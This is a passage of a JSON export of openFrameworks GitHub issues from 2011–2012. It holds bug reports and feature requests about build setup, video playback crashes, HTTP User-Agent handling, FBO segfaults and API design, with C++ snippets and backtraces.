I add an external lib to my addon, I should provide headers for all platforms to be cross-platfomr like OF but the Makefile doesn't have any switch to ignore certain files which are not needed on linux.\r\n\r\nthe problem is that the OF Makefile compiles everythin under libs/mylib/include\r\n\r\nsee here for more: http://forum.openframeworks.cc/index.php?topic=6486.new;topicseen#new","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/849","comments":0,"milestone":null,"number":849,"html_url":"https://github.com/openframeworks/openFrameworks/issues/849","assignee":null,"title":"skip files in an addon with Makefile","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-22T14:31:37Z","state":"open","user":{"url":"https://api.github.com/users/benben","gravatar_id":"614a4e493d7c353296519bba720e77c5","login":"benben","avatar_url":"https://secure.gravatar.com/avatar/614a4e493d7c353296519bba720e77c5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":124513},"id":2637694,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-19T22:35:27Z","body":"But it does!\r\n\r\nSomehow it's casting from float to ofPoint, maybe using the ofVec3f( float _x=0.f, float _y=0.f, float _z=0.f ) constructor.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/846","comments":10,"milestone":null,"number":846,"html_url":"https://github.com/openframeworks/openFrameworks/issues/846","assignee":null,"title":"ofCircle(float, float) should not work","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-12-14T00:42:31Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"id":2546302,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-10T21:25:49Z","body":"Please add \"-Wreturn-type\" to the XCode project. I've noticed that it's a common mistake to add a return type but nothing is returned. Adding this option will at least show an error. I think Visual Studio shows an error already by default. You can add it like this in the project settings: http://img805.imageshack.us/img805/8745/screenshot20111210at102.png \r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/843","comments":0,"milestone":null,"number":843,"html_url":"https://github.com/openframeworks/openFrameworks/issues/843","assignee":null,"title":"Add return-type warning for XCode project files ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-12-10T21:25:49Z","state":"open","user":{"url":"https://api.github.com/users/roxlu","gravatar_id":"a3e45d93c2d24b6ae8bbef0453065e45","login":"roxlu","avatar_url":"https://secure.gravatar.com/avatar/a3e45d93c2d24b6ae8bbef0453065e45?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":358809},"id":2512838,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-31T19:36:40Z","body":"Playing a movie crashes on exit on linux. Fedora 16 32-bit, latest git.\r\n\r\noutput:\r\n./moviePlayerExample\r\ndeleting video player\r\nterminate called after throwing an instance of 'Poco::SystemException'\r\n what(): System exception\r\nAborted (core dumped)\r\n\r\nbacktrace:\r\n#0 0x00110416 in __kernel_vsyscall ()\r\n#1 0x4623998f in raise () from /lib/libc.so.6\r\n#2 0x4623b2d5 in abort () from /lib/libc.so.6\r\n#3 0x46a9b74d in __gnu_cxx::__verbose_terminate_handler() ()\r\n from /usr/lib/libstdc++.so.6\r\n#4 0x46a994c4 in ?? () from /usr/lib/libstdc++.so.6\r\n#5 0x46a99500 in std::terminate() () from /usr/lib/libstdc++.so.6\r\n#6 0x46a9964f in __cxa_throw () from /usr/lib/libstdc++.so.6\r\n#7 0x08098bef in Poco::MutexImpl::lockImpl (this=0x814eb48)\r\n at /usr/include/Poco/Mutex_POSIX.h:82\r\n#8 0x08098d07 in Poco::FastMutex::lock (this=0x814eb48)\r\n at /usr/include/Poco/Mutex.h:257\r\n#9 0x0809907d in Poco::ScopedLock::ScopedLock (this=\r\n 0xbfffeabc, mutex=...) at /usr/include/Poco/ScopedLock.h:59\r\n#10 0x0809a340 in Poco::AbstractEvent, Poco::p_less > >, Poco::AbstractDelegate, Poco::FastMutex>::operator-=\r\n (this=0x814eb10, aDelegate=...) at /usr/include/Poco/AbstractEvent.h:195\r\n#11 0x080d40c5 in ofRemoveListener, ofEventArgs, ofGstUtils> (event=..., listener=0x82698e0, listenerMethod=\r\n (void (ofGstUtils::*)(ofGstUtils * const, ofEventArgs &)) 0x80d27b4 ) at ../../../openFrameworks/events/ofEventUtils.h:87\r\n#12 0x080d25be in ofGstUtils::close (this=0x82698e0)\r\nat ../../../openFrameworks/video/ofGstUtils.cpp:353\r\n#13 0x080d175e in ofGstUtils::~ofGstUtils (this=0x82698e0, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:85\r\n#14 0x080d32c4 in ofGstVideoUtils::~ofGstVideoUtils (this=0x82698d8, \r\n __in_chrg=)\r\n at ../../../openFrameworks/video/ofGstUtils.cpp:536\r\n#15 0x080d06ff in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:19\r\n#16 0x080d07d9 in ofGstVideoPlayer::~ofGstVideoPlayer (this=0x82698b8, \r\n __in_chrg=, __vtt_parm=)\r\n at ../../../openFrameworks/video/ofGstVideoPlayer.cpp:21\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/840","comments":3,"milestone":null,"number":840,"html_url":"https://github.com/openframeworks/openFrameworks/issues/840","assignee":null,"title":"ofGstVideoPlayer crash on exit","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"closed_at":null,"created_at":"2011-12-08T11:53:55Z","state":"open","user":{"url":"https://api.github.com/users/gaborpapp","gravatar_id":"9cb0f8a67c238d2aa91d9a7957b9ef4b","login":"gaborpapp","avatar_url":"https://secure.gravatar.com/avatar/9cb0f8a67c238d2aa91d9a7957b9ef4b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":203532},"id":2486705,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-12T12:30:53Z","body":"right now the only way to change the type of pixels is to go through ofImage and set image type there.\r\n\r\nseems like this should be moved into ofPixels.\r\n\r\nthoughts?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/838","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":838,"html_url":"https://github.com/openframeworks/openFrameworks/issues/838","assignee":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"title":"ofPixels has no setImageType","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"closed_at":null,"created_at":"2011-12-07T16:30:59Z","state":"open","user":{"url":"https://api.github.com/users/obviousjim","gravatar_id":"3bcf955bca297a223e9daa1f997bfad5","login":"obviousjim","avatar_url":"https://secure.gravatar.com/avatar/3bcf955bca297a223e9daa1f997bfad5?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":321434},"id":2476561,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-05T21:44:08Z","body":"I made a small example which uses the Wikipedia xml api to make queries which are then parsed by an ofXmlSettings object. The problem is Wikipedia complains there is no User-Agent string and dosen't return any data, while threatening to block by IP.\r\n\r\nThe fix was as simple as adding this to ofURLFileLoader.cpp line 144:\r\n
\r\n\t\tHTTPRequest req(HTTPRequest::HTTP_GET, path, HTTPMessage::HTTP_1_1);\r\n        \treq.add(\"User-Agent\", \"Mozilla/5.0 (iPad; U; CPU OS 3_2_1 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B405\");\r\n
\r\n\r\nIt uses the iOS safari user agent string. I think the best fix is to expose the HTTPRequest and HTTPResponse Poco objects so that, like in the ofxHttpUtils, you could add manually the string/value to the request before sending it. I don't think it should be set ti a default within the class. Also, it would be awesome to be able to add data into and pull data out of the requests. This is a great wrapper, especially the threading, I'd just like to have the full req/response control ... perhaps provide a method to add Poco::HttpRequests and recieve Poco::HttpResponses which could be set as references inside the ofxHttpRequest/ofxHttpResponse objects?\r\n\r\nOn another note, ofURLFileLoader seems like a rather specific name for a regular HTTP action. What's wrong with ofHttpSession etc since I've found it useful for more then just","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/837","comments":0,"milestone":null,"number":837,"html_url":"https://github.com/openframeworks/openFrameworks/issues/837","assignee":null,"title":"ofURLFileLoader dosen't set HTTP User-Agent string and there is no way to set it","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-12-05T21:44:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2455011,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-04T00:08:35Z","body":"Dummy issue to ensure that the 0073 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/836","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/6","closed_issues":0,"number":6,"title":"0073 Release","due_on":"2012-07-30T07:00:00Z","open_issues":5,"created_at":"2011-12-03T15:37:49Z","state":"open","description":"","id":62090},"number":836,"html_url":"https://github.com/openframeworks/openFrameworks/issues/836","assignee":null,"title":"0073 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-04T00:08:35Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2439965,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-03T09:03:22Z","body":"Not sure if is an issue or im doing wrong.\r\n\r\nIm trying to implement dragEvent() in an external class in windoes 7. I'm getting neither an error nor a response nor result. While debugging dragEvent is not called at all. The same code works perfectly on osx. \r\n\r\nhere's some:\r\n\r\ndummy.h\r\n\r\n\t#include \"ofMain.h\"\r\n\r\n\tclass dummy\r\n\t{\r\n\t\tpublic:\r\n\t\t\tdummy();\r\n\t\t\t~dummy();\r\n\t\t\t\t\t\r\n\t\t\tvoid config();\r\n\t\t\tvoid dragEvent(ofDragInfo &info);\r\n\t\t\t\r\n\t\tprivate:\r\n\t\tprotected:\r\n\t\t\r\n\t};\r\n\r\ndummy.cpp\r\n\r\n\t#include \"dummy.h\"\r\n\r\n\tdummy::dummy(){}\r\n\r\n\tdummy::~dummy(){}\r\n\r\n\tvoid dummy::config(){\r\n\t\tofAddListener(ofEvents.fileDragEvent, this, &dummy::dragEvent);\r\n\t}\r\n\r\n\tvoid dummy::dragEvent(ofDragInfo &info){\r\n\t\tfor( int i = 0; i < info.files.size() ; i++){\r\n\t\t\tcout << \"path: \" << info.files[i] << endl;\r\n\t\t}\r\n\t}\r\n\r\n\r\ntesApp.h\r\n\r\n\t#include \"ofMain.h\"\r\n\t#include \"dummy.h\"\r\n\r\n\r\n\tclass testApp : public ofBaseApp{\r\n\r\n\t\tpublic:\r\n\t\t\tvoid setup();\r\n\t\t\tvoid update();\r\n\t\t\tvoid draw();\r\n\r\n\t\t\tvoid keyPressed (int key);\r\n\t\t\tvoid keyReleased(int key);\r\n\t\t\tvoid mouseMoved(int x, int y );\r\n\t\t\tvoid mouseDragged(int x, int y, int button);\r\n\t\t\tvoid mousePressed(int x, int y, int button);\r\n\t\t\tvoid mouseReleased(int x, int y, int button);\r\n\t\t\tvoid windowResized(int w, int h);\r\n\t\t\tvoid dragEvent(ofDragInfo dragInfo);\r\n\t\t\tvoid gotMessage(ofMessage msg);\r\n\t\t\t\r\n\t\t\tdummy d;\r\n\r\ntestApp.cpp\r\n\r\n\t#include \"testApp.h\"\r\n\r\n\tvoid testApp::setup(){\r\n\t\td.config();\r\n\r\n\t}","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/831","comments":0,"milestone":null,"number":831,"html_url":"https://github.com/openframeworks/openFrameworks/issues/831","assignee":null,"title":"dragEvent() in new class not working in win7","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-12-03T08:51:42Z","state":"open","user":{"url":"https://api.github.com/users/decolector","gravatar_id":"7165a50ea8df968de57ffb5a27ba6ebc","login":"decolector","avatar_url":"https://secure.gravatar.com/avatar/7165a50ea8df968de57ffb5a27ba6ebc?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":390056},"id":2436532,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-02T16:28:49Z","body":"Dummy issue to ensure that the 0072 milestone stays open. Only close immediately before release.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/829","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","closed_issues":21,"number":5,"title":"0072 Release","due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":829,"html_url":"https://github.com/openframeworks/openFrameworks/issues/829","assignee":null,"title":"0072 Release tracking issue","labels":[],"closed_at":null,"created_at":"2011-12-02T16:28:49Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"id":2429871,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-29T17:54:48Z","body":"Loading Futura at font size 10 and simplify=0 yields oversimplified chars in a pdf render. I'm not sure if there's a way to fix this if the fonts are small.\r\n\r\nA workaround is to load the font at a larger size, say 40, then scale down by 0.25 when drawing. \r\n\r\nThe font below is a zoom of the pdf export using font size 10. The font above is Futura at font size 144 by comparison.\r\n\r\n![oversimplified fonts](http://farm8.staticflickr.com/7161/6423768819_9129b6d608_o.jpg)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/825","comments":2,"milestone":null,"number":825,"html_url":"https://github.com/openframeworks/openFrameworks/issues/825","assignee":null,"title":"small font sizes yield oversimplified glyph shapes","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-29T08:26:16Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2380571,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-04-19T07:01:47Z","body":"If I use loadScreenData with anti-Aliasing turned on in the program's startup like this:\r\n\r\nofAppiPhoneWindow * iOSWindow = new ofAppiPhoneWindow();\r\niOSWindow->enableAntiAliasing(4);\r\n\r\nthen the texture will load in nothing but solid black. If I bypass this anti-aliasing, it works fine. I also cannot properly populate a texture using loadScreenData in a landscape orientation. Changing to Portrait orientation in the update loop, and then back to landscape after the grab fixes it.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/822","comments":5,"milestone":null,"number":822,"html_url":"https://github.com/openframeworks/openFrameworks/issues/822","assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"title":"iOS - ofTexture.loadScreenData issue when antiAliasing is on","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-28T06:48:27Z","state":"open","user":{"url":"https://api.github.com/users/momo-the-monster","gravatar_id":"31f8a3ef87e828b70d2a441c8dae97d8","login":"momo-the-monster","avatar_url":"https://secure.gravatar.com/avatar/31f8a3ef87e828b70d2a441c8dae97d8?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":737888},"id":2364541,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-28T18:48:58Z","body":"It'd be nice if ofRectangle used a ofVec2f or ofVec3f internally so you could do the something like:\r\n\r\n
\r\nofRectangle myRect;\r\nofVec2f vel(-1, 2);\r\nmyRect.pos += vel;\r\n
\r\n\r\nNow I'm not saying drop the x and y member vars, but link them to the ofVec internals thorugh either a union or reference. A reference would be easy through the constructor:\r\n\r\n
\r\nclass ofRectangle {\r\n\r\n   public:\r\n\r\n     float &x, &y;\r\n     ofVec2f pos;\r\n     ....\r\n\r\n\r\nofRectangle::ofRectangle() : x(pos.x), y(pos.y) {\r\n\r\n...\r\n
\r\n\r\nThis way we get the best of both worlds without broken code ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/821","comments":3,"milestone":null,"number":821,"html_url":"https://github.com/openframeworks/openFrameworks/issues/821","assignee":null,"title":"suggest: ofRectangle internal ofVec","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-26T20:19:31Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":480637},"id":2356801,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-12-01T18:13:35Z","body":"i'm experiencing troubles in windows when i use a system file-opening dialog from openframeworks. after using it Data root path seems to get pointing to a wrong location, causing troubles e.g. true type fonts not loading.\r\nif I use the open-file dialog once again to open a file in root folder of the application, then the data path is reset correctly.\r\nusing ofSetDataPathRoot() doens't seem to fix the issue, or maybe I'm not using it correctly.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/819","comments":2,"milestone":null,"number":819,"html_url":"https://github.com/openframeworks/openFrameworks/issues/819","assignee":null,"title":"datapath messed in windows after using file open dialog","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"}],"closed_at":null,"created_at":"2011-11-22T10:50:13Z","state":"open","user":{"url":"https://api.github.com/users/hvfrancesco","gravatar_id":"e02a8a3953de9d5d9ec1c7aa8d43eca4","login":"hvfrancesco","avatar_url":"https://secure.gravatar.com/avatar/e02a8a3953de9d5d9ec1c7aa8d43eca4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":614123},"id":2316595,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-02T15:19:58Z","body":"Had a talk with Theo about this. I think that it would be really nice if it were possible to #define/ pre-process macro if you want to exclude modules like ofVideoPlayer/ofSoundplayer in your app. \r\n\r\nThis would be super helpful for a couple of reasons.\r\n\r\nplugins that are not able to use the modules can exclude them without hacking the core.\r\nif you want to reduce the final size of you app and its not using something like ofVideoPlayer you dont need to add it.\r\n\r\nwhat do you think...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/818","comments":1,"milestone":null,"number":818,"html_url":"https://github.com/openframeworks/openFrameworks/issues/818","assignee":null,"title":"#defines for modules ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"closed_at":null,"created_at":"2011-11-21T16:45:51Z","state":"open","user":{"url":"https://api.github.com/users/vanderlin","gravatar_id":"96c91dba0113ea847ee43b0961d24b3a","login":"vanderlin","avatar_url":"https://secure.gravatar.com/avatar/96c91dba0113ea847ee43b0961d24b3a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":149997},"id":2306518,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-17T15:17:10Z","body":"Hello, \r\nRunning on MacOS 10.7 with XCode 4.1 I could not compile any of the examples in devApps, except for _DeployExamples. \r\nThe first error always encountered is: \r\n\r\n../../../libs/openFrameworks/utils/ofConstants.h:101:22: error: GL/glew.h: No such file or directory\r\n\r\nI tried both changing the paths of the include part in the code and dragging the GL folder that contains glew.h separately in the project, but neither worked. \r\n\r\nHelp please... \r\n\r\nThanks, \r\n\r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/815","comments":3,"milestone":null,"number":815,"html_url":"https://github.com/openframeworks/openFrameworks/issues/815","assignee":null,"title":"Examples in devApps folder do not compile. Missing glew.h","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2011-11-17T13:45:47Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2268829,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-03-14T16:30:18Z","body":"Hello, \r\nIt took me more than 4 hours to get openFrameworks to compile deployExamples on MacOS X 10.7.2 with XCode 4.1, because of having to figure out two things; \r\n\r\n1. Need to change SDK for the deployExamples project definitions to 10.6\r\n2. Need to choose deployExamples in the build menu on the toolbar of the project window. \r\n\r\nPerhaps this info should be added to the readme.txt file of the present master branch in order to spare other people the hassle? \r\n\r\nI suggest the following addition: \r\n=====\r\nTo deploy openFrameworks examples from the files cloned via the present github repository, you should build and run the project: \r\napps/devApps/_DeployExamples/deployExamples.xcodeproj\r\n\r\nTo successfully compile in Lion (MacOS X 10.7) in XCode you should select in the project file list of XCode both the target deployExamples from the top level of the file hierarchy and the project openFrameworksLib.xcodeproj from inside the openFrameworks folder, then find the project definition, and change the SDK to MacOS X 10.6. You should do the same for the targets of those two items. \r\n\r\nImportant: Before clicking the Build and Go, or the Run button, make sure that you choose the deployExamples project in the menu on the toolbar of the project window. (Otherwise if you leave openFrameworks as selected project and push Run or Build and Run, no application will be created or run). \r\n\r\n\r\n=====\r\nHopefully this helps. \r\nCheers, \r\nIannis Zannos","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/814","comments":2,"milestone":null,"number":814,"html_url":"https://github.com/openframeworks/openFrameworks/issues/814","assignee":null,"title":"Suggest adding some info about Lion to readme.txt","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2011-11-17T11:48:32Z","state":"open","user":{"url":"https://api.github.com/users/iani","gravatar_id":"8200f2533f23c9daaff63c4dba6f4819","login":"iani","avatar_url":"https://secure.gravatar.com/avatar/8200f2533f23c9daaff63c4dba6f4819?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":181956},"id":2267854,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2011-11-16T04:46:48Z","body":"I'm trying this simple ofFbo example on OF 007, the system is Ubuntu Lucid, with an Intel 945 GPU.\r\n\r\n]//--------------------------------------------------------------\r\nvoid testApp::setup(){\r\n fbo.allocate(500, 500, GL_RGBA);\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::update(){\r\n\r\n}\r\n\r\n//--------------------------------------------------------------\r\nvoid testApp::draw(){\r\n\r\n fbo.begin();\r\n ofClear(255, 255, 255, 255);\r\n ofSetColor(255, 0, 0);\r\n ofCircle(mouseX, mouseY, 100);\r\n fbo.end();\r\n\r\n ofSetColor(255);\r\n fbo.draw(0, 0);\r\n}\r\n\r\nI got a segfault in i915 dri, and any test using ofFbo leads to same results.\r\n\r\n\r\n#0 0x1bd3c36 _mesa_FramebufferRenderbufferEXT() (/usr/lib/dri/i915_dri.so:??)\r\n#1 0x80cc56a ofFbo::createAndAttachRenderbuffer(this=0x85b28e8, internalFormat=34041, attachmentPoint=33306) (../../../openFrameworks/gl/ofFbo.cpp:489)\r\n#2 0x80cc352 ofFbo::allocate(this=0x85b28e8, _settings=...) (../../../openFrameworks/gl/ofFbo.cpp:388)\r\n#3 0x80cc269 ofFbo::allocate(this=0x85b28e8, width=500, height=500, internalformat=6408, numSamples=0) (../../../openFrameworks/gl/ofFbo.cpp:363)\r\n#4 0x80562ec testApp::setup(this=0x85b28d8) (src/testApp.cpp:5)\r\n#5 0x8059ca6 ofNotifySetup() (../../../openFrameworks/events/ofEvents.cpp:73)\r\n#6 0x8056a23 